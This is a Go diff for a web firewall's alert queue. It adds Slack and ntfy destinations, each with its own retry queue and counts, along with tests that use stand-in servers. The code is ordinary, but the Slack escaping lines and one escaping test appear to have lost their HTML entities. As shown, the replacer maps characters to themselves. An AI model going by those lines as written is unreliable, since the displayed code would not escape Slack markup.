errRefused = errors.New("the webhook refused the alert, answering") + errRefused = errors.New("the destination refused the alert, answering") ) -// Params are what New needs. +// Params are what New needs. With none of WebhookURL, SlackURL and +// NtfyURL set, no alert is sent. type Params struct { - // WebhookURL is where each alert is posted (SWWAF_ALERT_WEBHOOK_URL), - // nil while it is unset and no alert is sent. WebhookHeaders are sent - // with each (SWWAF_ALERT_WEBHOOK_HEADERS). + // WebhookURL is where each alert is posted as JSON + // (SWWAF_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders + // are sent with each (SWWAF_ALERT_WEBHOOK_HEADERS). WebhookURL *url.URL WebhookHeaders http.Header + // SlackURL is the Slack incoming webhook each alert is posted to as a + // message (SWWAF_ALERT_SLACK_WEBHOOK_URL), nil while it is unset. + SlackURL *url.URL + // NtfyURL is the ntfy topic each alert is published to + // (SWWAF_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless + // empty, is sent with each as a bearer token (SWWAF_ALERT_NTFY_TOKEN). + NtfyURL *url.URL + NtfyToken string // Events are the events alerts are sent for (SWWAF_ALERT_EVENTS). Events []string // Cooldown is how long a repeat of an alert is held back @@ -101,7 +132,7 @@ type Params struct { Instance string // Now tells the time of an alert, normally time.Now in UTC. Now func() time.Time - // ProcessLog receives the requests to the webhook that fail. + // ProcessLog receives the requests to a destination that fail. ProcessLog *slog.Logger } @@ -155,32 +186,63 @@ type Hour struct { } // State is what alerts.json holds: the cooldowns, the hour under way, and -// the alerts waiting to be sent, oldest first. +// for each destination set, the alerts waiting to be sent to it, oldest +// first. type State struct { - Cooldowns []Cooldown `json:"cooldowns"` - Hour Hour `json:"hour"` - Waiting []Alert `json:"waiting"` + Cooldowns []Cooldown `json:"cooldowns"` + Hour Hour `json:"hour"` + Waiting map[string][]Alert `json:"waiting"` +} + +// Counts are, for a destination, how many alerts it took, how many +// requests to it failed, and how many alerts were dropped from its full +// queue or given up as it refused them. +type Counts struct { + Sent, Failed, Dropped int64 } // Queue takes the alerts raised, holds back those it must, and sends the -// others to the webhook. It is safe for concurrent use. +// others to each destination set, from a queue of the destination's own. +// It is safe for concurrent use. type Queue struct { params Params - // httpClient follows no redirect: a redirect is a failure. - httpClient *http.Client - // queued receives a value when an alert joins the queue, unless one - // waits already, so that Run looks at the queue again. - queued chan struct{} + // destinations are the destinations set, in the order of + // Destinations. + destinations []*destination mu sync.Mutex // cooldowns are the alerts last let through, by event and netblock, // file or source. cooldowns map[cooldownKey]*Cooldown hour Hour + + suppressed atomic.Int64 +} + +// destination is a destination set, with the alerts waiting to be sent +// to it. Its mu is taken after the Queue's, never before. +type destination struct { + // name is how the metrics and alerts.json name the destination, and + // setting the setting that is its URL, which the log names in place + // of the URL. + name string + setting string + url *url.URL + // message returns the body an alert is posted with, and the headers + // sent with it. + message func(alert *Alert) ([]byte, http.Header, error) + // httpClient follows no redirect: a redirect is a failure. + httpClient *http.Client + processLog *slog.Logger + // queued receives a value when an alert joins the queue, unless one + // waits already, so that run looks at the queue again. + queued chan struct{} + + mu sync.Mutex // waiting are the alerts waiting to be sent, oldest first. waiting []*Alert - sent, failed, suppressed, dropped atomic.Int64 + sent, failed, dropped atomic.Int64 } // cooldownKey is what makes an alert a repeat of another: the same event @@ -203,32 +265,44 @@ func cooldownKeyOf(alert *Alert) cooldownKey { // New returns a Queue with no alert yet. func New(params Params) *Queue { - return &Queue{ - params: params, - httpClient: &http.Client{ - CheckRedirect: func(*http.Request, []*http.Request) error { - return http.ErrUseLastResponse - }, - }, - queued: make(chan struct{}, 1), + q := &Queue{ + params: params, cooldowns: map[cooldownKey]*Cooldown{}, hour: Hour{HeldBack: map[string]int{}}, } + + if params.WebhookURL != nil { + q.addDestination(DestinationWebhook, "SWWAF_ALERT_WEBHOOK_URL", + params.WebhookURL, q.webhookMessage) + } + + if params.SlackURL != nil { + q.addDestination(DestinationSlack, "SWWAF_ALERT_SLACK_WEBHOOK_URL", + params.SlackURL, slackMessage) + } + + if params.NtfyURL != nil { + q.addDestination(DestinationNtfy, "SWWAF_ALERT_NTFY_URL", + params.NtfyURL, q.ntfyMessage) + } + + return q } // Raise sends alert, which names its event and what is particular to it, -// unless no webhook is set or SWWAF_ALERT_EVENTS leaves its event out. It -// gives alert the instance and the time. An alert that repeats the last -// one let through less than Cooldown before is held back and counted, -// and the next one let through gives that count. Past MaxPerHour alerts -// let through in the hour under way, by the clock, an alert is held back -// for that hour's summary instead, which is sent once the hour has ended; -// it starts no cooldown, and the repeats held back before it are given by -// the next alert let through. Raise never waits: an alert let through -// joins the queue, from which Run sends it, and with queueSize alerts -// waiting the oldest is dropped. +// unless no destination is set or SWWAF_ALERT_EVENTS leaves its event +// out. It gives alert the instance and the time. An alert that repeats +// the last one let through less than Cooldown before is held back and +// counted, and the next one let through gives that count. Past MaxPerHour +// alerts let through in the hour under way, by the clock, an alert is +// held back for that hour's summary instead, which is sent once the hour +// has ended; it starts no cooldown, and the repeats held back before it +// are given by the next alert let through. Raise never waits: an alert +// let through joins the queue of each destination, from which Run sends +// it, and with queueSize alerts waiting for a destination, the oldest is +// dropped. func (q *Queue) Raise(alert Alert) { - if q.params.WebhookURL == nil || !slices.Contains(q.params.Events, alert.Event) { + if len(q.destinations) == 0 || !slices.Contains(q.params.Events, alert.Event) { return } @@ -260,12 +334,12 @@ func (q *Queue) Raise(alert Alert) { } // WouldSend reports whether Raise would let an alert for event on -// netblock through now: a webhook is set, SWWAF_ALERT_EVENTS chooses +// netblock through now: a destination is set, SWWAF_ALERT_EVENTS chooses // event, no alert for event on netblock was let through less than // Cooldown before, and fewer than MaxPerHour alerts have been let through // in the hour under way. Unlike Raise, it counts nothing. func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool { - if q.params.WebhookURL == nil || !slices.Contains(q.params.Events, event) { + if len(q.destinations) == 0 || !slices.Contains(q.params.Events, event) { return false } @@ -284,102 +358,70 @@ func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool { return q.params.MaxPerHour == 0 || q.hour.Sent < q.params.MaxPerHour } -// Run sends the alerts waiting, oldest first, until ctx is done. An alert -// stays in the queue until the webhook answers it with a 2xx status, or -// refuses it with a 4xx status other than 408 and 429: a refused alert is -// logged, counted as dropped, and given up, so that the next is sent. Any -// other request that fails is logged, and the alert sent again -// firstRetryDelay later, retryDelayFactor times as long after each -// further failure in a row, up to maxRetryDelay. Run also ends each hour -// as Raise does, so that the hour's summary is sent as it ends. With no -// webhook set, it returns at once. +// Run sends the alerts waiting to each destination, from its own queue, +// as destination.run does, until ctx is done. It also ends each hour as +// Raise does, so that the hour's summary is sent as it ends. With no +// destination set, it returns at once. func (q *Queue) Run(ctx context.Context) { - if q.params.WebhookURL == nil { + if len(q.destinations) == 0 { return } - var ( - retryDelay time.Duration - retryAt time.Time - ) + var sending sync.WaitGroup + + for _, d := range q.destinations { + sending.Go(func() { d.run(ctx) }) + } for { - alert, untilHourEnds := q.next() - hourEnds := time.NewTimer(untilHourEnds) - - var due <-chan time.Time // nil while no alert waits - if alert != nil { - due = time.After(time.Until(retryAt)) - } + q.mu.Lock() + untilHourEnds := q.hour.Start.Add(time.Hour).Sub(q.params.Now()) + q.mu.Unlock() select { case <-ctx.Done(): - hourEnds.Stop() + sending.Wait() return - case <-q.queued: - case <-hourEnds.C: + case <-time.After(untilHourEnds): q.mu.Lock() q.endHour(q.params.Now()) q.mu.Unlock() - case <-due: - err := q.send(ctx, alert) - - switch { - case err == nil: - q.remove(alert) - q.sent.Add(1) - - retryDelay = 0 - retryAt = time.Time{} - case errors.Is(err, errRefused): - q.remove(alert) - q.failed.Add(1) - q.dropped.Add(1) - - retryDelay = 0 - retryAt = time.Time{} - - q.params.ProcessLog.Warn("gave up an alert SWWAF_ALERT_WEBHOOK_URL refused", - "event", alert.Event, "error", err.Error()) - case ctx.Err() == nil: // not cut off as smallwebwaf stops - q.failed.Add(1) - - retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay), - maxRetryDelay) - retryAt = time.Now().Add(retryDelay) - - q.params.ProcessLog.Warn("sending an alert to SWWAF_ALERT_WEBHOOK_URL failed", - "error", err.Error(), "sending_again_in", retryDelay.String()) - } } - - hourEnds.Stop() } } -// Sent is how many alerts the webhook has taken. -func (q *Queue) Sent() int64 { - return q.sent.Load() +// Counts returns the counts of the destination name, all 0 for one not +// set. +func (q *Queue) Counts(name string) Counts { + for _, d := range q.destinations { + if d.name == name { + return Counts{ + Sent: d.sent.Load(), Failed: d.failed.Load(), Dropped: d.dropped.Load(), + } + } + } + + return Counts{} } -// Failed is how many requests to the webhook have failed. -func (q *Queue) Failed() int64 { - return q.failed.Load() +// DestinationsSet returns the destinations set, in the order of +// Destinations. +func (q *Queue) DestinationsSet() []string { + names := make([]string, 0, len(q.destinations)) + for _, d := range q.destinations { + names = append(names, d.name) + } + + return names } // Suppressed is how many alerts were held back: by the cooldown, and past -// MaxPerHour. +// MaxPerHour. No destination is sent such an alert. func (q *Queue) Suppressed() int64 { return q.suppressed.Load() } -// Dropped is how many alerts were dropped from a full queue, or given up -// as the webhook refused them. -func (q *Queue) Dropped() int64 { - return q.dropped.Load() -} - // Snapshot returns the queue's state, as alerts.json holds it, with the // cooldowns sorted by netblock, then by event, file and source. func (q *Queue) Snapshot() State { @@ -389,7 +431,7 @@ func (q *Queue) Snapshot() State { state := State{ Cooldowns: make([]Cooldown, 0, len(q.cooldowns)), Hour: q.hour, - Waiting: make([]Alert, 0, len(q.waiting)), + Waiting: map[string][]Alert{}, } state.Hour.HeldBack = maps.Clone(q.hour.HeldBack) @@ -402,8 +444,8 @@ func (q *Queue) Snapshot() State { cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source)) }) - for _, alert := range q.waiting { - state.Waiting = append(state.Waiting, *alert) + for _, d := range q.destinations { + state.Waiting[d.name] = d.snapshot() } return state @@ -411,8 +453,9 @@ func (q *Queue) Snapshot() State { // Load puts state, read from alerts.json, in place of the queue's state. // Each cooldown's netblock is masked to its length, so that -// 203.0.113.9/24 is 203.0.113.0/24. Past queueSize alerts waiting, the -// oldest are dropped. +// 203.0.113.9/24 is 203.0.113.0/24. The alerts waiting for a destination +// that is not set are dropped, and so are the oldest past queueSize +// alerts waiting for one that is. func (q *Queue) Load(state State) { q.mu.Lock() defer q.mu.Unlock() @@ -432,13 +475,33 @@ func (q *Queue) Load(state State) { q.hour.HeldBack = map[string]int{} } - q.waiting = nil - - for _, alert := range state.Waiting { - q.queue(&alert) + for _, d := range q.destinations { + d.load(state.Waiting[d.name]) } } +// addDestination adds a destination: its name, the setting that gives +// its URL, that URL, target, and message, which makes the messages sent +// to it. +func (q *Queue) addDestination( + name, setting string, target *url.URL, + message func(alert *Alert) ([]byte, http.Header, error), +) { + q.destinations = append(q.destinations, &destination{ + name: name, + setting: setting, + url: target, + message: message, + httpClient: &http.Client{ + CheckRedirect: func(*http.Request, []*http.Request) error { + return http.ErrUseLastResponse + }, + }, + processLog: q.params.ProcessLog, + queued: make(chan struct{}, 1), + }) +} + // repeat reports whether alert, raised at now, repeats the last one let // through less than Cooldown before, and counts it if it does. func (q *Queue) repeat(alert *Alert, now time.Time) bool { @@ -515,72 +578,163 @@ func (q *Queue) endHour(now time.Time) { } } -// queue adds alert to the alerts waiting, first dropping the oldest while -// queueSize wait, and has Run look at the queue again. +// queue adds alert to the alerts waiting for each destination. func (q *Queue) queue(alert *Alert) { - if len(q.waiting) == queueSize { - q.waiting = slices.Delete(q.waiting, 0, 1) - q.dropped.Add(1) + for _, d := range q.destinations { + d.add(alert) + } +} + +// run sends the alerts waiting, oldest first, until ctx is done. An alert +// stays in the queue until the destination answers it with a 2xx status, +// or refuses it with a 4xx status other than 408 and 429: a refused alert +// is logged, counted as dropped, and given up, so that the next is sent. +// Any other request that fails is logged, and the alert sent again +// firstRetryDelay later, retryDelayFactor times as long after each +// further failure in a row, up to maxRetryDelay. +func (d *destination) run(ctx context.Context) { + var ( + retryDelay time.Duration + retryAt time.Time + ) + + for { + alert := d.oldest() + + var due <-chan time.Time // nil while no alert waits + if alert != nil { + due = time.After(time.Until(retryAt)) + } + + select { + case <-ctx.Done(): + return + case <-d.queued: + case <-due: + err := d.send(ctx, alert) + + switch { + case err == nil: + d.remove(alert) + d.sent.Add(1) + + retryDelay = 0 + retryAt = time.Time{} + case errors.Is(err, errRefused): + d.remove(alert) + d.failed.Add(1) + d.dropped.Add(1) + + retryDelay = 0 + retryAt = time.Time{} + + d.processLog.Warn("gave up an alert "+d.setting+" refused", + "event", alert.Event, "error", err.Error()) + case ctx.Err() == nil: // not cut off as smallwebwaf stops + d.failed.Add(1) + + retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay), + maxRetryDelay) + retryAt = time.Now().Add(retryDelay) + + d.processLog.Warn("sending an alert to "+d.setting+" failed", + "error", err.Error(), "sending_again_in", retryDelay.String()) + } + } + } +} + +// add adds alert to the alerts waiting, first dropping the oldest while +// queueSize wait, and has run look at the queue again. +func (d *destination) add(alert *Alert) { + d.mu.Lock() + defer d.mu.Unlock() + + if len(d.waiting) == queueSize { + d.waiting = slices.Delete(d.waiting, 0, 1) + d.dropped.Add(1) } - q.waiting = append(q.waiting, alert) + d.waiting = append(d.waiting, alert) select { - case q.queued <- struct{}{}: + case d.queued <- struct{}{}: default: // a value waits already } } -// next returns the oldest alert waiting, nil when none waits, and how -// long it is until the hour under way ends. -func (q *Queue) next() (*Alert, time.Duration) { - q.mu.Lock() - defer q.mu.Unlock() +// load puts waiting, read from alerts.json, in place of the alerts +// waiting, as add adds them. +func (d *destination) load(waiting []Alert) { + d.mu.Lock() + d.waiting = nil + d.mu.Unlock() - var oldest *Alert - if len(q.waiting) > 0 { - oldest = q.waiting[0] + for _, alert := range waiting { + d.add(&alert) } - - return oldest, q.hour.Start.Add(time.Hour).Sub(q.params.Now()) } -// remove takes alert, which Run has sent or given up, out of the queue, -// unless it has been dropped from it, or Load has replaced the queue, -// since Run took it. Only the oldest alert is ever dropped, so alert is +// snapshot returns the alerts waiting, oldest first. +func (d *destination) snapshot() []Alert { + d.mu.Lock() + defer d.mu.Unlock() + + waiting := make([]Alert, 0, len(d.waiting)) + for _, alert := range d.waiting { + waiting = append(waiting, *alert) + } + + return waiting +} + +// oldest returns the oldest alert waiting, nil when none waits. +func (d *destination) oldest() *Alert { + d.mu.Lock() + defer d.mu.Unlock() + + if len(d.waiting) == 0 { + return nil + } + + return d.waiting[0] +} + +// remove takes alert, which run has sent or given up, out of the queue, +// unless it has been dropped from it, or load has replaced the queue, +// since run took it. Only the oldest alert is ever dropped, so alert is // the oldest if it is there at all. -func (q *Queue) remove(alert *Alert) { - q.mu.Lock() - defer q.mu.Unlock() +func (d *destination) remove(alert *Alert) { + d.mu.Lock() + defer d.mu.Unlock() - if len(q.waiting) > 0 && q.waiting[0] == alert { - q.waiting = slices.Delete(q.waiting, 0, 1) + if len(d.waiting) > 0 && d.waiting[0] == alert { + d.waiting = slices.Delete(d.waiting, 0, 1) } } -// send posts alert to the webhook as JSON, with WebhookHeaders, and -// returns an error unless the webhook answers with a 2xx status: one that +// send posts alert to the destination, as message makes it, and returns +// an error unless the destination answers with a 2xx status: one that // wraps errRefused for a 4xx status other than 408 and 429. No error -// names the webhook's URL, whose path or query can carry a secret. -func (q *Queue) send(ctx context.Context, alert *Alert) error { - body, err := json.Marshal(alert) +// names the destination's URL, whose path or query can carry a secret. +func (d *destination) send(ctx context.Context, alert *Alert) error { + body, header, err := d.message(alert) if err != nil { - return fmt.Errorf("encode the alert: %w", err) + return err } ctx, cancel := context.WithTimeout(ctx, sendTimeout) defer cancel() - req, err := http.NewRequestWithContext(ctx, http.MethodPost, - q.params.WebhookURL.String(), bytes.NewReader(body)) + req, err := http.NewRequestWithContext(ctx, http.MethodPost, d.url.String(), + bytes.NewReader(body)) if err != nil { return fmt.Errorf("make the request: %w", err) } - maps.Copy(req.Header, q.params.WebhookHeaders) - req.Header.Set("Content-Type", "application/json") + maps.Copy(req.Header, header) - res, err := q.httpClient.Do(req) + res, err := d.httpClient.Do(req) if err != nil { // The client's error names the URL: only what went wrong is kept. if urlErr, ok := errors.AsType[*url.Error](err); ok { @@ -607,3 +761,122 @@ func (q *Queue) send(ctx context.Context, alert *Alert) error { return fmt.Errorf("%w %s", errStatus, res.Status) } } + +// webhookMessage returns alert as JSON, for the webhook, and the headers +// sent with it: WebhookHeaders, and its Content-Type. +func (q *Queue) webhookMessage(alert *Alert) ([]byte, http.Header, error) { + body, err := json.Marshal(alert) + if err != nil { + return nil, nil, fmt.Errorf("encode the alert: %w", err) + } + + header := http.Header{} + maps.Copy(header, q.params.WebhookHeaders) + header.Set("Content-Type", "application/json") + + return body, header, nil +} + +// slackMessage returns alert as a message for a Slack incoming webhook, +// in JSON: its title in bold, then its text, with &, < and > escaped, as +// Slack asks, so that nothing in them is read as a link or a mention. +func slackMessage(alert *Alert) ([]byte, http.Header, error) { + escape := strings.NewReplacer("&", "&", "<", "<", ">", ">").Replace + + body, err := json.Marshal(map[string]string{ + "text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)), + }) + if err != nil { + return nil, nil, fmt.Errorf("encode the message: %w", err) + } + + return body, http.Header{"Content-Type": {"application/json"}}, nil +} + +// ntfyMessage returns alert's text, as the message published to ntfy, +// and the headers sent with it: its title, the priority and the tag of +// its event, and NtfyToken, unless it is empty, as a bearer token. +func (q *Queue) ntfyMessage(alert *Alert) ([]byte, http.Header, error) { + header := http.Header{ + "Title": {title(alert)}, + "Priority": {ntfyPriority(alert.Event)}, + "Tags": {ntfyTag(alert.Event)}, + } + + if q.params.NtfyToken != "" { + header.Set("Authorization", "Bearer "+q.params.NtfyToken) + } + + return []byte(text(alert)), header, nil +} + +// ntfyPriority returns the priority an alert for event is published to +// ntfy with: high for an event the admin needs to look at. +func ntfyPriority(event string) string { + switch event { + case EventPermanentBan, EventAnomaly, EventSourceFailure, EventFileError: + return "high" + case EventReputationHit: + return "low" + default: // ban, waf_block and summary + return "default" + } +} + +// ntfyTag returns the tag an alert for event is published to ntfy with, +// which ntfy shows as an emoji. +func ntfyTag(event string) string { + switch event { + case EventBan, EventPermanentBan: + return "no_entry" + case EventWAFBlock: + return "shield" + case EventAnomaly: + return "chart_with_upwards_trend" + case EventReputationHit: + return "label" + case EventSourceFailure, EventFileError: + return "warning" + default: // summary + return "bar_chart" + } +} + +// title returns the title of alert in Slack and ntfy: the instance and +// the event. +func title(alert *Alert) string { + return alert.Instance + ": " + alert.Event +} + +// text returns the text of alert in Slack and ntfy: its reason, then a +// line for each of its client, netblock and country, the file, source, +// error and mode its detail gives, and its suppressed repeats, that it +// has. +func text(alert *Alert) string { + lines := []string{alert.Reason} + + if alert.Client.IsValid() { + lines = append(lines, "client: "+alert.Client.String()) + } + + if alert.Netblock.IsValid() { + lines = append(lines, "netblock: "+alert.Netblock.String()) + } + + if alert.Country != "" { + lines = append(lines, "country: "+alert.Country) + } + + for _, name := range []string{"file", "source", "error", "mode"} { + value, _ := alert.Detail[name].(string) + if value != "" { + lines = append(lines, name+": "+value) + } + } + + if alert.SuppressedRepeats > 0 { + lines = append(lines, fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats)) + } + + return strings.Join(lines, "\n") +} diff --git a/internal/alerts/alerts_test.go b/internal/alerts/alerts_test.go index 79189d0..01a23d0 100644 --- a/internal/alerts/alerts_test.go +++ b/internal/alerts/alerts_test.go @@ -26,13 +26,18 @@ import ( // clock of the test's own, which starts at 2000-01-01T00:00:00Z, the start // of an hour: a wait lasts exactly as long as it should, however slowly // the test process runs, and synctest.Wait returns once the queue has -// done all it can before time passes. The stand-in for the webhook -// answers without the network, since a request waiting on the network -// would keep that clock from moving on. +// done all it can before time passes. The stand-ins for the webhook, +// Slack and ntfy answer without the network, since a request waiting on +// the network would keep that clock from moving on. const ( - // webhookURL is where the alerts are posted. + // webhookURL is where the alerts are posted, slackURL the Slack + // incoming webhook, and ntfyURL the ntfy topic. ntfyToken is the ntfy + // token of the tests that set one. webhookURL = "https://alerts.example/smallwebwaf?team=ops" + slackURL = "https://hooks.slack.example/services/T0123/B4567/abcdef" + ntfyURL = "https://ntfy.example/smallwebwaf-alerts" + ntfyToken = "tk_0123456789abcdefghijklmnopq" // instance is the instance name every alert gives. instance = "fsn1app1/gitea" // started is when each test starts, as an alert gives it, and @@ -135,7 +140,7 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) { } } -func TestNothingIsQueuedWithoutAWebhook(t *testing.T) { +func TestRaiseDoesNothingWithoutADestination(t *testing.T) { t.Parallel() params := newParams() @@ -144,12 +149,18 @@ func TestNothingIsQueuedWithoutAWebhook(t *testing.T) { q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) - if waiting := q.Snapshot().Waiting; len(waiting) != 0 { - t.Errorf("%d alerts wait, want none", len(waiting)) + // No alert waits, no cooldown has started, and the hour counts none. + want := alerts.State{ + Cooldowns: []alerts.Cooldown{}, + Hour: alerts.Hour{HeldBack: map[string]int{}}, + Waiting: map[string][]alerts.Alert{}, + } + if got := q.Snapshot(); !reflect.DeepEqual(got, want) { + t.Errorf("state %+v, want %+v", got, want) } } -func TestWouldSendNothingWithoutAWebhook(t *testing.T) { +func TestWouldSendNothingWithoutADestination(t *testing.T) { t.Parallel() params := newParams() @@ -161,6 +172,27 @@ func TestWouldSendNothingWithoutAWebhook(t *testing.T) { } } +func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) { + t.Parallel() + + onlySlack := newParams() + onlySlack.WebhookURL = nil + onlySlack.SlackURL = parseURL(slackURL) + + onlyNtfy := newParams() + onlyNtfy.WebhookURL = nil + onlyNtfy.NtfyURL = parseURL(ntfyURL) + + for setting, params := range map[string]alerts.Params{ + "SWWAF_ALERT_SLACK_WEBHOOK_URL": onlySlack, + "SWWAF_ALERT_NTFY_URL": onlyNtfy, + } { + if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) { + t.Errorf("a ban alert would not be sent with only %s set", setting) + } + } +} + func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) { t.Parallel() @@ -265,7 +297,7 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) after.Raise(fileError("/rules.d/50-a.rules")) after.Raise(fileError("/rules.d/50-c.rules")) - waiting := after.Snapshot().Waiting + waiting := after.Snapshot().Waiting[alerts.DestinationWebhook] if len(waiting) != 1 || waiting[0].Detail["file"] != "/rules.d/50-c.rules" { t.Errorf("after loading, alerts wait %+v, want the one for 50-c.rules", waiting) } @@ -444,7 +476,8 @@ func TestFailedRequestIsSentAgainWithBackoff(t *testing.T) { wantCounts(t, q, 1, int64(len(want)), 0, 0) - if waiting := q.Snapshot().Waiting; len(waiting) != 0 { + waiting := q.Snapshot().Waiting[alerts.DestinationWebhook] + if len(waiting) != 0 { t.Errorf("%d alerts still wait, want none", len(waiting)) } }) @@ -552,7 +585,7 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) { wantCounts(t, q, 0, 0, 0, 1) - waiting := q.Snapshot().Waiting + waiting := q.Snapshot().Waiting[alerts.DestinationWebhook] if len(waiting) != alerts.QueueSize || waiting[0].Netblock != netblock(1) { t.Fatalf("%d alerts wait, the first for %s, want %d, the first for %s", len(waiting), waiting[0].Netblock, alerts.QueueSize, netblock(1)) @@ -627,7 +660,264 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) { }) } -// How the stand-in for the webhook answers: with a status, or, hanging, +func TestSlackAndNtfyAreSentAMessageForEachEvent(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + params := withSlackAndNtfy(newParams()) + params.WebhookURL = nil + standIns, q := startAll(t, params) + + for _, each := range anAlertForEachEvent() { + q.Raise(each.alert) + } + + synctest.Wait() + + want := anAlertForEachEvent() + slack := standIns[alerts.DestinationSlack].received() + ntfy := standIns[alerts.DestinationNtfy].received() + + if len(slack) != len(want) || len(ntfy) != len(want) { + t.Fatalf("Slack was sent %d messages and ntfy %d, want %d each", + len(slack), len(ntfy), len(want)) + } + + for i, each := range want { + wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text) + wantNtfyMessage(t, ntfy[i], each.title, each.priorityAndTag, each.text) + } + }) +} + +func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + params := withSlackAndNtfy(newParams()) + params.WebhookURL = nil + params.MaxPerHour = 1 + standIns, q := startAll(t, params) + ban := alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1), Reason: "a ban"} + + // The hour's one alert, a repeat of it the cooldown holds back, and + // an alert past the limit; once the hour has ended, its summary, and + // the next alert, which gives the repeat. + q.Raise(ban) + q.Raise(ban) + q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"}) + time.Sleep(time.Hour) + synctest.Wait() + q.Raise(ban) + synctest.Wait() + + slack := standIns[alerts.DestinationSlack].received() + ntfy := standIns[alerts.DestinationNtfy].received() + + if len(slack) != 3 || len(ntfy) != 3 { + t.Fatalf("Slack was sent %d messages and ntfy %d, want 3 each", + len(slack), len(ntfy)) + } + + const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " + + "past the 1 an hour SWWAF_ALERT_MAX_PER_HOUR allows" + + wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary) + wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary) + wantSlackMessage(t, slack[2], + "*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32\nsuppressed repeats: 1") + wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry", + "a ban\nnetblock: 203.0.113.1/32\nsuppressed repeats: 1") + }) +} + +func TestSlackMessageEscapesAmpersandsAndAngleBrackets(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + params := withSlackAndNtfy(newParams()) + params.Instance = "app<1>" + standIns, q := startAll(t, params) + + q.Raise(alerts.Alert{ + Event: alerts.EventFileError, Reason: " & ", + }) + synctest.Wait() + + got := standIns[alerts.DestinationSlack].received() + if len(got) != 1 { + t.Fatalf("Slack was sent %d messages, want 1", len(got)) + } + + wantSlackMessage(t, got[0], "*app<1>: file_error*\n"+ + "<!channel> & <https://x.example|y>") + wantBodies(t, standIns[alerts.DestinationNtfy], " & ") + }) +} + +func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name, token string + want []string + }{ + {"with a token", ntfyToken, []string{"Bearer " + ntfyToken}}, + {"without one", "", nil}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + params := withSlackAndNtfy(newParams()) + params.NtfyToken = tc.token + standIns, q := startAll(t, params) + + q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) + synctest.Wait() + + for destination, want := range map[string][]string{ + alerts.DestinationWebhook: nil, + alerts.DestinationSlack: nil, + alerts.DestinationNtfy: tc.want, + } { + got := standIns[destination].received() + if len(got) != 1 { + t.Fatalf("%s was sent %d requests, want 1", destination, len(got)) + } + + authorization := got[0].header.Values("Authorization") + if !slices.Equal(authorization, want) { + t.Errorf("%s was sent Authorization %q, want %q", destination, + authorization, want) + } + } + }) + }) + } +} + +func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + params := withSlackAndNtfy(newParams()) + log := &lockedBuffer{} + params.ProcessLog = slog.New(slog.NewJSONHandler(log, nil)) + standIns, q := startAll(t, params) + standIns[alerts.DestinationSlack].set(hanging) + + for n := range 3 { + q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)}) + } + + synctest.Wait() + + // With no time passed, the webhook and ntfy have taken every alert, + // while Slack has not answered the first. + for destination, want := range map[string]alerts.Counts{ + alerts.DestinationWebhook: {Sent: 3}, + alerts.DestinationSlack: {}, + alerts.DestinationNtfy: {Sent: 3}, + } { + wantDestinationCounts(t, q, destination, want) + } + + if got := standIns[alerts.DestinationSlack].received(); len(got) != 1 { + t.Errorf("Slack was sent %d requests, want 1", len(got)) + } + + // Slack's request is abandoned after 10 seconds, and logged without + // its URL; Slack, which answers again, is sent every alert a second + // later. + standIns[alerts.DestinationSlack].set(answering) + time.Sleep(11 * time.Second) + synctest.Wait() + + wantDestinationCounts(t, q, alerts.DestinationSlack, + alerts.Counts{Sent: 3, Failed: 1}) + + logged := log.String() + if !strings.Contains(logged, + `"msg":"sending an alert to SWWAF_ALERT_SLACK_WEBHOOK_URL failed"`) || + strings.Contains(logged, "hooks.slack.example") || + strings.Contains(logged, "T0123") { + t.Errorf("process log %q names no failure, or names the URL", logged) + } + }) +} + +func TestDropsAreCountedForEachDestination(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + params := withSlackAndNtfy(newParams()) + params.MaxPerHour = 0 + standIns, q := startAll(t, params) + standIns[alerts.DestinationSlack].set(hanging) + standIns[alerts.DestinationNtfy].set(refusing) + + // Each alert is raised once each destination has done all it can + // with those before it. + for n := range alerts.QueueSize + 1 { + q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)}) + synctest.Wait() + } + + // Slack, which does not answer the first alert, drops it from its + // full queue for the last; ntfy refuses each, which is given up; and + // the webhook takes every one. + const all = alerts.QueueSize + 1 + + for destination, want := range map[string]alerts.Counts{ + alerts.DestinationWebhook: {Sent: all}, + alerts.DestinationSlack: {Dropped: 1}, + alerts.DestinationNtfy: {Failed: all, Dropped: all}, + } { + wantDestinationCounts(t, q, destination, want) + } + }) +} + +func 